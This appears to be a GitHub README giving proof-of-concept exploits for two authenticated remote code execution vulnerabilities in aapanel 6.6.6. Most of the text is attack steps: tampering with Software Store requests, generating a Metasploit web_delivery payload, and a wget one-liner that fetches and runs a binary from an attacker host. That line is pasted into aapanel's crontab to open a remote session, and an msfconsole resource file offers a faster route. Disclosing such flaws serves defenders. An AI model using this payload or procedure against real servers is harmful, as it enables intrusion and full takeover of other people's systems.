CVE-2020-14421: GitHub - jenaye/aapanel: aapanel 6.6.6 - (Authenticated) Remote Code Execution

aapanel****aapanel 6.6.6 - CVE-2020-14950

• Description : allows remote authenticated users to execute arbitrary commands via the setting menu of Sotfware Store.
• Affected version : All <= 6.6.6

Information

To make this PoC, I just installed the software using docker-compose

• Vulnerability Type : Remote command execution (Authenticated RCE)

POC

Go to Software Store, click on any row from the setting’s field, intercept the request when you click on “start/stop/restart” and modify/edit the resquest to execute what you want. Here is an example with curl :

aapanel 6.6.6 - CVE-2020-14421

• Description : Allows attacker to run arbitrary command remotely
• Affected version : All <= 6.6.6

Information

To make this PoC, I just installed fresh Ubuntu 20.04, then I installed wget + sudo and executed this script wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh

• Vulnerability Type : Remote command execution (RCE Authenticated)

POC

First of all, setup web_delivery options, this will create a payload and a listener.

Now run it

this will generate the following payload:

wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown

Then copy/past like this into script content of crontab menu in aapanel.

Now just execute your crontab and wait your session.

Fast Exploit

Just run msfconsole -r aapanel.rc copy/paste the payload into script content section, and enjoy your session.